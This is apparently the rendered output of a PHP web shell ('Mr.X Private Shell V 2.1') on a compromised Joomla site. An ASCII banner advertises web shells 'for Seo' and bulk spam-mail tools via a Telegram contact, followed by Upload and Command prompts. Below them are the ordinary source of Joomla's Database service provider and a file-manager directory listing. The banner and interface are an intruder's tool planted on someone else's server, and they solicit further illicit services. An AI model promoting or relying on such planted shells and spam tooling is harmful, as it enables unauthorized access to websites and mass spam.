__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/**
 * Joomla! Content Management System
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\CMS\Service\Provider;

use Joomla\Database\DatabaseDriver;
use Joomla\Database\DatabaseInterface;
use Joomla\Database\Mysql\MysqlDriver;
use Joomla\DI\Container;
use Joomla\DI\ServiceProviderInterface;
use Joomla\Event\DispatcherInterface;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Service provider for the application's database dependency
 *
 * @since  4.0.0
 */
class Database implements ServiceProviderInterface
{
    /**
     * Registers the service provider with a DI container.
     *
     * @param   Container  $container  The DI container.
     *
     * @return  void
     *
     * @since   4.0.0
     */
    public function register(Container $container)
    {
        $container->alias('db', DatabaseInterface::class)
            ->alias('DatabaseDriver', DatabaseInterface::class)
            ->alias(DatabaseDriver::class, DatabaseInterface::class)
            ->share(
                DatabaseInterface::class,
                function (Container $container) {
                    $conf = $container->get('config');

                    /**
                     * @todo: This 'sensible' default is required in the installer for now. Eventually we need to
                     *        refactor the installer so it is not required
                     */
                    $dbtype = $conf->get('dbtype', 'mysqli');

                    /*
                     * In Joomla! 3.x and earlier the `mysql` type was used for the `ext/mysql` PHP extension, which is no longer supported.
                     * The `pdomysql` type represented the PDO MySQL adapter.  With the Framework's package in use, the PDO MySQL adapter
                     * is now the `mysql` type.  Therefore, we check two conditions:
                     *
                     * 1) Is the type `pdomysql`, if so switch to `mysql`
                     * 2) Is the type `mysql`, if so make sure PDO MySQL is supported and if not switch to `mysqli`
                     *
                     * For these cases, if a connection cannot be made with MySQLi, the database API will handle throwing an Exception
                     * so we don't need to make any additional checks for MySQLi.
                     */
                    if (strtolower($dbtype) === 'pdomysql') {
                        $dbtype = 'mysql';
                    }

                    if (strtolower($dbtype) === 'mysql') {
                        if (!MysqlDriver::isSupported()) {
                            $dbtype = 'mysqli';
                        }
                    }

                    /*
                     * Joomla! 4.0 removes support for the `ext/pgsql` PHP extension.  To help with the migration, we will migrate the configuration
                     * to the PDO PostgreSQL driver regardless of if the environment supports it.  Instead of getting a "driver not found" type of
                     * error, this will instead force the API to report that the driver is not supported.
                     */
                    if (strtolower($dbtype) === 'postgresql') {
                        $dbtype = 'pgsql';
                    }

                    $options = [
                        'driver'   => $dbtype,
                        'host'     => $conf->get('host'),
                        'user'     => $conf->get('user'),
                        'password' => $conf->get('password'),
                        'database' => $conf->get('db'),
                        'prefix'   => $conf->get('dbprefix'),
                    ];

                    if ((int) $conf->get('dbencryption') !== 0) {
                        $options['ssl'] = [
                            'enable'             => true,
                            'verify_server_cert' => (bool) $conf->get('dbsslverifyservercert'),
                        ];

                        foreach (['cipher', 'ca', 'key', 'cert'] as $value) {
                            $confVal = trim($conf->get('dbssl' . $value, ''));

                            if ($confVal !== '') {
                                $options['ssl'][$value] = $confVal;
                            }
                        }
                    }

                    // Enable utf8mb4 connections for mysql adapters
                    if (strtolower($dbtype) === 'mysqli') {
                        $options['utf8mb4'] = true;
                    }

                    if (strtolower($dbtype) === 'mysql') {
                        $options['charset'] = 'utf8mb4';
                    }

                    if (JDEBUG) {
                        $options['monitor'] = new \Joomla\Database\Monitor\DebugMonitor();
                    }

                    try {
                        $db = DatabaseDriver::getInstance($options);
                    } catch (\RuntimeException $e) {
                        if (!headers_sent()) {
                            header('HTTP/1.1 500 Internal Server Error');
                        }

                        jexit('Database Error: ' . $e->getMessage());
                    }

                    $db->setDispatcher($container->get(DispatcherInterface::class));

                    return $db;
                },
                true
            );
    }
}

Filemanager

Name Type Size Permission Actions
Application.php File 9.56 KB 0664
Authentication.php File 4.82 KB 0664
CacheController.php File 1.32 KB 0664
CaptchaRegistry.php File 1.51 KB 0664
Config.php File 1.49 KB 0664
Console.php File 7.38 KB 0664
Database.php File 5.4 KB 0664
Dispatcher.php File 1.3 KB 0664
Document.php File 1.42 KB 0664
EditorsRegistry.php File 1.51 KB 0664
Form.php File 1.37 KB 0664
HTMLRegistry.php File 1.01 KB 0664
Input.php File 1.39 KB 0664
Language.php File 1.27 KB 0664
Logger.php File 1.14 KB 0664
Mailer.php File 1.09 KB 0664
Menu.php File 1.55 KB 0664
Pathway.php File 1.73 KB 0664
Router.php File 2.01 KB 0664
Session.php File 12.66 KB 0664
Toolbar.php File 1.39 KB 0664
User.php File 1.29 KB 0664
WebAssetRegistry.php File 1.47 KB 0664
Filemanager